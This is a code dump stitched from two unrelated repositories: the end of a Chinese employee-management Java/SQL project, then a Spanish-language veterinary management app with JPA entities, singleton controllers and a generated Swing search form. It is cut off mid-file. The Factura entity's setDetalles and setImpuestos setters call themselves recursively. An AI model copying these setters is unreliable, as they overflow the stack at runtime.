'6', '熟悉业务'); insert into traintype values ('SAP培训', '7', '掌握SAP技能'); insert into traintype values ('Oracle培训', '8', '掌握Oracle技能'); insert into traintype values ('Android培训', '9', '掌握Android技能'); insert into traintype values ('Java培训', '10', '掌握Java技能'); commit; <file_sep>/src/com/wsj/empsystem/service/IAlterService.java package com.wsj.empsystem.service; import java.util.HashMap; import java.util.Map; public interface IAlterService { //删除出差信息 void deleteAlter(Integer id); //更新出差信息 void updateAlter(HashMap<String,Object> map); //新增出差信息 void insertAlter(HashMap<String,Object> map); //根据模糊查询关键字查找出差信息 Map<String, Object> findAlter(String name); } <file_sep>/src/com/wsj/empsystem/service/ITrainService.java package com.wsj.empsystem.service; import java.util.HashMap; import java.util.Map; import com.wsj.empsystem.exception.MyException; public interface ITrainService { void deleteTrain(Integer id); void updateTrain(HashMap<String, Object> map) throws MyException; void insertTrain(HashMap<String, Object> map) throws MyException; Map<String, Object> findTrain(String name); } <file_sep>/src/com/wsj/empsystem/dao/StaffMapper.java package com.wsj.empsystem.dao; import java.util.HashMap; import java.util.List; import com.wsj.empsystem.bean.Staff; public interface StaffMapper{ //模糊查询 List<Staff> queryAll(HashMap<String,Object> map); //统计员工总数 Integer sum() ; //删除 void deleteStaff(Integer id); //更新 void updateStaff(Staff staff); //添加 void insertStaff(Staff staff); //判断是否存在 List<Staff> checkUser(Staff staff); //判断是否是管理员 List<Staff> AgrCheck(HashMap<String,Object> map); //根据姓名查找 String selectName(String username); //根据id查找 Staff findStaffById(Integer id); }
9a37ec6a25767248be1a2b29bbc4d559a6c80b4b
[ "Java", "SQL" ]
14
Java
Wang-Shuaijie/Project_empsystem
9b72cf75538923e7860730133a6b6d1d9b7b970f
599cdcde2b518ce0d5d06a61f267b547b4558717
refs/heads/master
<repo_name>lisandro101/vetecheck<file_sep>/src/vete/Negocio/ControladorSeguridad.java package vete.Negocio; import java.util.List; import vete.Entidad.Perfil; import vete.Entidad.Permiso; import vete.Entidad.Usuario; /** * * @author Lisandro */ public class ControladorSeguridad { static ControladorSeguridad instancia = null; public ControladorSeguridad() { } public static synchronized ControladorSeguridad getInstancia() { if (instancia == null) { instancia = new ControladorSeguridad(); } return instancia; } public String ingresarUsuario(Usuario usuario) { String cadenaError = ""; GestorSeguridad.getInstancia().ingresarUsuario(usuario); return cadenaError; } public String ingresarPerfil(Perfil perfil) { String cadenaError = ""; GestorSeguridad.getInstancia().ingresarPerfil(perfil); return cadenaError; } public String ingresarPermiso(Permiso permiso) { String cadenaError = ""; GestorSeguridad.getInstancia().ingresarPermiso(permiso); return cadenaError; } public List<Usuario> buscarUsuario(Usuario usuario) { List<Usuario> usuarios = null; usuarios = GestorSeguridad.getInstancia().buscarUsuario(usuario); return usuarios; } public List<Perfil> buscarPerfil(Perfil perfil) { List<Perfil> perfiles = null; perfiles = GestorSeguridad.getInstancia().buscarPerfil(perfil); return perfiles; } public List<Permiso> buscarPermiso(Permiso permiso) { List<Permiso> permisos = null; permisos = GestorSeguridad.getInstancia().buscarPermiso(permiso); return permisos; } } <file_sep>/src/vete/Entidad/Factura.java package vete.Entidad; import java.io.Serializable; import java.util.Date; import java.util.List; import java.util.UUID; import javax.persistence.Entity; import javax.persistence.Id; import javax.persistence.ManyToOne; import javax.persistence.OneToMany; import javax.persistence.Temporal; import vete.Persistencia.IPersistente; /** * * @author Lisandro */ @Entity public class Factura implements Serializable, IPersistente { private static final long serialVersionUID = 1L; @Id private String uid; private double descuento; @Temporal(javax.persistence.TemporalType.DATE) private Date fecha; private long numero; private boolean borrado; @OneToMany private List<DetalleFactura> detalles; @ManyToOne private FormaDePago formaDePago; @OneToMany private List<Impuesto> impuestos; public Factura(){ } @Override public void generarUid(){ if( getUid() == null ) { setUid(UUID.randomUUID().toString()); } } /** * @return the uid */ public String getUid() { return uid; } /** * @param uid the uid to set */ public void setUid(String uid) { this.uid = uid; } /** * @return the descuento */ public double getDescuento() { return descuento; } /** * @param descuento the descuento to set */ public void setDescuento(double descuento) { this.descuento = descuento; } /** * @return the fecha */ public Date getFecha() { return fecha; } /** * @param fecha the fecha to set */ public void setFecha(Date fecha) { this.fecha = fecha; } /** * @return the numero */ public long getNumero() { return numero; } /** * @param numero the numero to set */ public void setNumero(long numero) { this.numero = numero; } /** * @return the detalles */ public List<DetalleFactura> getDetalles() { return detalles; } /** * @param detalles the detalles to set */ public void setDetalles(List<DetalleFactura> detalles) { this.setDetalles(detalles); } /** * @return the formaDePago */ public FormaDePago getFormaDePago() { return formaDePago; } /** * @param formaDePago the formaDePago to set */ public void setFormaDePago(FormaDePago formaDePago) { this.formaDePago = formaDePago; } /** * @return the impuestos */ public List<Impuesto> getImpuestos() { return impuestos; } /** * @param impuestos the impuestos to set */ public void setImpuestos(List<Impuesto> impuestos) { this.setImpuestos(impuestos); } /** * @return the borrado */ public boolean isBorrado() { return borrado; } /** * @param borrado the borrado to set */ @Override public void setBorrado(boolean borrado) { this.borrado = borrado; } } <file_sep>/src/vete/Entidad/Telefono.java package vete.Entidad; import java.io.Serializable; import java.util.UUID; import javax.persistence.Entity; import javax.persistence.Id; import vete.Persistencia.IPersistente; /** * * @author Lisandro */ @Entity public class Telefono implements Serializable, IPersistente{ private static final long serialVersionUID = 1L; @Id private String uid; private String nombre; private String codigo; private String numero; private boolean borrado; public Telefono(){ this.setCodigo(""); this.setNombre(""); this.setNumero(""); this.generarUid(); } public String getUid(){ return uid; } public void setUid(String uid){ this.uid = uid; } @Override public void generarUid(){ if( getUid() == null ) { setUid(UUID.randomUUID().toString()); } } public String getNombre(){ return nombre; } public void setNombre(String nombre){ this.nombre = nombre; } public String getCodigo(){ return codigo; } public void setCodigo(String codigo){ this.codigo = codigo; } public String getNumero(){ return numero; } public void setNumero(String numero){ this.numero = numero; } /** * @return the borrado */ public boolean isBorrado() { return borrado; } /** * @param borrado the borrado to set */ @Override public void setBorrado(boolean borrado) { this.borrado = borrado; } } <file_sep>/src/vete/Negocio/ControladorCliente.java package vete.Negocio; import java.util.List; import vete.Entidad.Cliente; /** * * @author Lisandro */ public class ControladorCliente { static ControladorCliente instancia = null; public ControladorCliente() { } public static synchronized ControladorCliente getInstancia() { if (instancia == null) { instancia = new ControladorCliente(); } return instancia; } public String ingresar(Cliente datosCliente) { String cadenaError = ""; GestorCliente.getInstancia().ingresar(datosCliente); return cadenaError; } public List<Cliente> buscar(Cliente datosCliente) { List<Cliente> cli = null; cli = GestorCliente.getInstancia().buscar(datosCliente); return cli; } public String actualizar(Cliente cliente) { String cadenaError = ""; GestorCliente.getInstancia().actualizar(cliente); return cadenaError; } public String borrar(Cliente cliente) { String cadenaError = ""; GestorCliente.getInstancia().eliminar(cliente); return cadenaError; } } <file_sep>/src/vete/Entidad/Persona.java package vete.Entidad; import java.io.Serializable; import java.util.List; import java.util.UUID; import javax.persistence.Entity; import javax.persistence.Id; import javax.persistence.Inheritance; import javax.persistence.OneToMany; import javax.persistence.OneToOne; import vete.Persistencia.IPersistente; /** * * @author Lisandro */ @Entity @Inheritance public class Persona implements Serializable, IPersistente{ private static final long serialVersionUID = 1L; @Id private String uid; private String codigo; private String cuit; private double descuento; private String estadoDescuento; private String estado; private String mail; private String nombre; private String detalle; private boolean borrado; @OneToMany private List<Telefono> telefonos; @OneToOne private Domicilio domicilio; public Persona() { generarUid(); } /** * */ @Override public void generarUid() { if (getUid() == null) { setUid(UUID.randomUUID().toString()); } } /** * @return the uid */ public String getUid() { return uid; } /** * @param uid the uid to set */ public void setUid(String uid) { this.uid = uid; } /** * @return the codigo */ public String getCodigo() { return codigo; } /** * @param codigo the codigo to set */ public void setCodigo(String codigo) { this.codigo = codigo; } /** * @return the cuit */ public String getCuit() { return cuit; } /** * @param cuit the cuit to set */ public void setCuit(String cuit) { this.cuit = cuit; } /** * @return the descuento */ public double getDescuento() { return descuento; } /** * @param descuento the descuento to set */ public void setDescuento(double descuento) { this.descuento = descuento; } /** * @return the estadoDescuento */ public String getEstadoDescuento() { return estadoDescuento; } /** * @param estadoDescuento the estadoDescuento to set */ public void setEstadoDescuento(String estadoDescuento) { this.estadoDescuento = estadoDescuento; } /** * @return the estado */ public String getEstado() { return estado; } /** * @param estado the estado to set */ public void setEstado(String estado) { this.estado = estado; } /** * @return the mail */ public String getMail() { return mail; } /** * @param mail the mail to set */ public void setMail(String mail) { this.mail = mail; } /** * @return the nombre */ public String getNombre() { return nombre; } /** * @param nombre the nombre to set */ public void setNombre(String nombre) { this.nombre = nombre; } /** * @return the detalle */ public String getDetalle() { return detalle; } /** * @param detalle the detalle to set */ public void setDetalle(String detalle) { this.detalle = detalle; } /** * @return the telefonos */ public List<Telefono> getTelefonos() { return telefonos; } /** * @param telefonos the telefonos to set */ public void setTelefonos(List<Telefono> telefonos) { this.telefonos = telefonos; } /** * @return the domicilio */ public Domicilio getDomicilio() { return domicilio; } /** * @param domicilio the domicilio to set */ public void setDomicilio(Domicilio domicilio) { this.domicilio = domicilio; } /** * @return the borrado */ public boolean isBorrado() { return borrado; } /** * @param borrado the borrado to set */ @Override public void setBorrado(boolean borrado) { this.borrado = borrado; } } <file_sep>/src/vete/Interfaz/BuscarCliente.java /* * BuscarCliente.java * * Created on 20 de junio de 2007, 18:57 */ package vete.Interfaz; /** * * @author Lisandro */ public class BuscarCliente extends javax.swing.JFrame { /** Creates new form BuscarCliente */ public BuscarCliente() { initComponents(); } /** This method is called from within the constructor to * initialize the form. * WARNING: Do NOT modify this code. The content of this method is * always regenerated by the Form Editor. */ // <editor-fold defaultstate="collapsed" desc=" Generated Code ">//GEN-BEGIN:initComponents private void initComponents() { jpGeneralCliente = new javax.swing.JPanel(); tfCodigoCliente = new javax.swing.JFormattedTextField(); jLabel8 = new javax.swing.JLabel(); jLabel11 = new javax.swing.JLabel(); tfNombreCliente = new javax.swing.JFormattedTextField(); jLabel15 = new javax.swing.JLabel(); tfCuitCliente = new javax.swing.JTextField(); jLabel12 = new javax.swing.JLabel(); jComboBox4 = new javax.swing.JComboBox(); jTextField2 = new javax.swing.JTextField(); jTextField3 = new javax.swing.JTextField(); tfMailCliente = new javax.swing.JTextField(); jLabel13 = new javax.swing.JLabel(); jLabel14 = new javax.swing.JLabel(); tfDescuentoCliente = new javax.swing.JTextField(); jComboBox5 = new javax.swing.JComboBox(); cbCondicionIvaCliente = new javax.swing.JComboBox(); jLabel67 = new javax.swing.JLabel(); jpDomicilioCliente = new javax.swing.JPanel(); jLabel16 = new javax.swing.JLabel(); jTextField6 = new javax.swing.JTextField(); jLabel17 = new javax.swing.JLabel(); jTextField7 = new javax.swing.JTextField(); jLabel18 = new javax.swing.JLabel(); jTextField8 = new javax.swing.JTextField(); jTextField9 = new javax.swing.JTextField(); jLabel55 = new javax.swing.JLabel(); jLabel56 = new javax.swing.JLabel(); jComboBox6 = new javax.swing.JComboBox(); jLabel57 = new javax.swing.JLabel(); jLabel58 = new javax.swing.JLabel(); jComboBox19 = new javax.swing.JComboBox(); jComboBox20 = new javax.swing.JComboBox(); jLabel59 = new javax.swing.JLabel(); jbBuscarCliente = new javax.swing.JButton(); jbCerrarBuscarCliente = new javax.swing.JButton(); setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE); jpGeneralCliente.setBorder(javax.swing.BorderFactory.createTitledBorder("General")); jLabel8.setFont(new java.awt.Font("Arial", 0, 12)); jLabel8.setText("C\u00f3digo"); jLabel11.setFont(new java.awt.Font("Arial", 0, 12)); jLabel11.setText("Nombre"); jLabel15.setFont(new java.awt.Font("Arial", 0, 12)); jLabel15.setText("CUIT"); jLabel12.setText("Tel\u00e9fono"); jComboBox4.setModel(new javax.swing.DefaultComboBoxModel(new String[] { "Casa", "Trabajo", "Movil" })); jLabel13.setText("Mail"); jLabel14.setText("Descuento"); jComboBox5.setModel(new javax.swing.DefaultComboBoxModel(new String[] { " ", " %" })); cbCondicionIvaCliente.setModel(new javax.swing.DefaultComboBoxModel(new String[] { "Consumidor Final", "Responsable Inscripto" })); jLabel67.setText("Condici\u00f3n de IVA"); javax.swing.GroupLayout jpGeneralClienteLayout = new javax.swing.GroupLayout(jpGeneralCliente); jpGeneralCliente.setLayout(jpGeneralClienteLayout); jpGeneralClienteLayout.setHorizontalGroup( jpGeneralClienteLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(jpGeneralClienteLayout.createSequentialGroup() .addContainerGap() .addGroup(jpGeneralClienteLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(jpGeneralClienteLayout.createSequentialGroup() .addGroup(jpGeneralClienteLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(jpGeneralClienteLayout.createSequentialGroup() .addGroup(jpGeneralClienteLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) .addGroup(jpGeneralClienteLayout.createSequentialGroup() .addGroup(jpGeneralClienteLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(jLabel8) .addComponent(tfCodigoCliente, javax.swing.GroupLayout.PREFERRED_SIZE, 100, javax.swing.GroupLayout.PREFERRED_SIZE)) .addGap(6, 6, 6) .addGroup(jpGeneralClienteLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(jLabel11, javax.swing.GroupLayout.PREFERRED_SIZE, 50, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(tfNombreCliente, javax.swing.GroupLayout.DEFAULT_SIZE, 270, Short.MAX_VALUE))) .addGroup(javax.swing.GroupLayout.Alignment.LEADING, jpGeneralClienteLayout.createSequentialGroup() .addGroup(jpGeneralClienteLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false) .addGroup(javax.swing.GroupLayout.Alignment.LEADING, jpGeneralClienteLayout.createSequentialGroup() .addComponent(tfDescuentoCliente, javax.swing.GroupLayout.PREFERRED_SIZE, 85, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(jComboBox5, 0, 0, Short.MAX_VALUE)) .addComponent(jComboBox4, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.PREFERRED_SIZE, 135, javax.swing.GroupLayout.PREFERRED_SIZE)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addGroup(jpGeneralClienteLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(jpGeneralClienteLayout.createSequentialGroup() .addComponent(jTextField2, javax.swing.GroupLayout.PREFERRED_SIZE, 61, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(jTextField3, javax.swing.GroupLayout.DEFAULT_SIZE, 166, Short.MAX_VALUE)) .addComponent(cbCondicionIvaCliente, javax.swing.GroupLayout.PREFERRED_SIZE, 140, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(jLabel67)))) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)) .addGroup(jpGeneralClienteLayout.createSequentialGroup() .addComponent(jLabel12) .addGap(317, 317, 317))) .addGroup(jpGeneralClienteLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(jLabel13) .addGroup(jpGeneralClienteLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) .addComponent(jLabel15, javax.swing.GroupLayout.PREFERRED_SIZE, 50, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(tfCuitCliente, javax.swing.GroupLayout.DEFAULT_SIZE, 151, Short.MAX_VALUE) .addComponent(tfMailCliente)))) .addComponent(jLabel14)) .addContainerGap()) ); jpGeneralClienteLayout.setVerticalGroup( jpGeneralClienteLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(jpGeneralClienteLayout.createSequentialGroup() .addContainerGap() .addGroup(jpGeneralClienteLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jLabel8) .addComponent(jLabel11) .addComponent(jLabel15)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addGroup(jpGeneralClienteLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(tfCodigoCliente, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(tfNombreCliente, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(tfCuitCliente, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) .addGroup(jpGeneralClienteLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jLabel12) .addComponent(jLabel13)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addGroup(jpGeneralClienteLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jComboBox4, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(jTextField2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(jTextField3, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(tfMailCliente, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) .addGroup(jpGeneralClienteLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jLabel14) .addComponent(jLabel67)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addGroup(jpGeneralClienteLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(tfDescuentoCliente, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(jComboBox5, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(cbCondicionIvaCliente, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) .addContainerGap()) ); jpDomicilioCliente.setBorder(javax.swing.BorderFactory.createTitledBorder("Domicio")); jLabel16.setText("Calle"); jLabel17.setText("Numero"); jLabel18.setText("Piso"); jLabel55.setText("Depto"); jLabel56.setText("Localidad"); jComboBox6.setModel(new javax.swing.DefaultComboBoxModel(new String[] { "Capital", "Las Heras", "Guaymall\u00e9n", "Godoy Cruz" })); jLabel58.setText("Provincia"); jComboBox19.setModel(new javax.swing.DefaultComboBoxModel(new String[] { "Mendoza", "C\u00f3rdoba", "Buenos Aires", "Tucuman" })); jComboBox20.setModel(new javax.swing.DefaultComboBoxModel(new String[] { "Argentina", "Bolivia", "Chile", "Brasil" })); jLabel59.setText("Pa\u00eds"); javax.swing.GroupLayout jpDomicilioClienteLayout = new javax.swing.GroupLayout(jpDomicilioCliente); jpDomicilioCliente.setLayout(jpDomicilioClienteLayout); jpDomicilioClienteLayout.setHorizontalGroup( jpDomicilioClienteLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(jpDomicilioClienteLayout.createSequentialGroup() .addContainerGap() .addGroup(jpDomicilioClienteLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(jLabel56) .addGroup(jpDomicilioClienteLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) .addGroup(jpDomicilioClienteLayout.createSequentialGroup() .addGroup(jpDomicilioClienteLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(jLabel16) .addComponent(jTextField6, javax.swing.GroupLayout.PREFERRED_SIZE, 201, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(jLabel58, javax.swing.GroupLayout.Alignment.TRAILING)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addGroup(jpDomicilioClienteLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(jTextField7, javax.swing.GroupLayout.PREFERRED_SIZE, 87, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(jLabel17))) .addGroup(jpDomicilioClienteLayout.createSequentialGroup() .addComponent(jComboBox6, javax.swing.GroupLayout.PREFERRED_SIZE, 140, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(jComboBox19, 0, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)))) .addGroup(jpDomicilioClienteLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(jpDomicilioClienteLayout.createSequentialGroup() .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 205, Short.MAX_VALUE) .addComponent(jLabel57) .addGap(46, 46, 46)) .addGroup(jpDomicilioClienteLayout.createSequentialGroup() .addGap(11, 11, 11) .addGroup(jpDomicilioClienteLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(jpDomicilioClienteLayout.createSequentialGroup() .addGroup(jpDomicilioClienteLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(jLabel18) .addComponent(jTextField8, javax.swing.GroupLayout.PREFERRED_SIZE, 52, javax.swing.GroupLayout.PREFERRED_SIZE)) .addGap(18, 18, 18) .addGroup(jpDomicilioClienteLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(jLabel55) .addComponent(jTextField9, javax.swing.GroupLayout.PREFERRED_SIZE, 50, javax.swing.GroupLayout.PREFERRED_SIZE))) .addComponent(jLabel59)) .addContainerGap()) .addGroup(jpDomicilioClienteLayout.createSequentialGroup() .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) .addComponent(jComboBox20, javax.swing.GroupLayout.PREFERRED_SIZE, 140, javax.swing.GroupLayout.PREFERRED_SIZE) .addContainerGap()))) ); jpDomicilioClienteLayout.setVerticalGroup( jpDomicilioClienteLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(jpDomicilioClienteLayout.createSequentialGroup() .addContainerGap() .addGroup(jpDomicilioClienteLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) .addGroup(jpDomicilioClienteLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(jpDomicilioClienteLayout.createSequentialGroup() .addComponent(jLabel17) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(jTextField7, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) .addGroup(jpDomicilioClienteLayout.createSequentialGroup() .addComponent(jLabel16) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(jTextField6, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) .addGroup(jpDomicilioClienteLayout.createSequentialGroup() .addComponent(jLabel18) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(jTextField8, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))) .addComponent(jTextField9, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addGroup(jpDomicilioClienteLayout.createSequentialGroup() .addComponent(jLabel55) .addGap(29, 29, 29))) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addGroup(jpDomicilioClienteLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(jpDomicilioClienteLayout.createSequentialGroup() .addGroup(jpDomicilioClienteLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jLabel56) .addComponent(jLabel57)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addGroup(jpDomicilioClienteLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jComboBox6, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(jComboBox19, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(jComboBox20, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))) .addComponent(jLabel58) .addComponent(jLabel59)) .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) ); jbBuscarCliente.setText("Buscar"); jbCerrarBuscarCliente.setText("Cerrar"); jbCerrarBuscarCliente.addMouseListener(new java.awt.event.MouseAdapter() { public void mouseClicked(java.awt.event.MouseEvent evt) { jbCerrarBuscarClienteMouseClicked(evt); } }); javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addContainerGap() .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false) .addComponent(jpDomicilioCliente, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addComponent(jpGeneralCliente, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() .addContainerGap(428, Short.MAX_VALUE) .addComponent(jbBuscarCliente) .addGap(18, 18, 18) .addComponent(jbCerrarBuscarCliente) .addContainerGap()) ); layout.setVerticalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addContainerGap() .addComponent(jpGeneralCliente, javax.swing.GroupLayout.PREFERRED_SIZE, 208, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(jpDomicilioCliente, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 31, Short.MAX_VALUE) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jbCerrarBuscarCliente) .addComponent(jbBuscarCliente)) .addContainerGap()) ); pack(); }// </editor-fold>//GEN-END:initComponents private void jbCerrarBuscarClienteMouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jbCerrarBuscarClienteMouseClicked this.dispose(); }//GEN-LAST:event_jbCerrarBuscarClienteMouseClicked /** * @param args the command line arguments */ public static void main(String args[]) { java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new BuscarCliente().setVisible(true); } }); } // Variables declaration - do not modify//GEN-BEGIN:variables private javax.swing.JComboBox cbCondicionIvaCliente; private javax.swing.JComboBox jComboBox19; private javax.swing.JComboBox jComboBox20; private javax.swing.JComboBox jComboBox4; private javax.swing.JComboBox jComboBox5; private javax.swing.JComboBox jComboBox6; private javax.swing.JLabel jLabel11; private javax.swing.JLabel jLabel12; private javax.swing.JLabel jLabel13; private javax.swing.JLabel jLabel14; private javax.swing.JLabel jLabel15; private javax.swing.JLabel jLabel16; private javax.swing.JLabel jLabel17; private javax.swing.JLabel jLabel18; private javax.swing.JLabel jLabel55; private javax.swing.JLabel jLabel56; private javax.swing.JLabel jLabel57; private javax.swing.JLabel jLabel58; private javax.swing.JLabel jLabel59; private javax.swing.JLabel jLabel67; private javax.swing.JLabel jLabel8; private javax.swing.JTextField jTextField2; private javax.swing.JTextField jTextField3; private javax.swing.JTextField jTextField6; private javax.swing.JTextField jTextField7; private javax.swing.JTextField jTextField8; private javax.swing.JTextField jTextField9; private javax.swing.JButton jbBuscarCliente; private javax.swing.JButton jbCerrarBuscarCliente; private javax.swing.JPanel jpDomicilioCliente; private javax.swing.JPanel jpGeneralCliente; private javax.swing.JFormattedTextField tfCodigoCliente; private javax.swing.JTextField tfCuitCliente; private javax.swing.JTextField tfDescuentoCliente; private javax.swing.JTextField tfMailCliente; private javax.swing.JFormattedTextField tfNombreCliente; // End of variables declaration//GEN-END:variables } <file_sep>/src/vete/Negocio/GestorSeguridad.java package vete.Negocio; import java.util.List; import javax.swing.JOptionPane; import vete.Entidad.Perfil; import 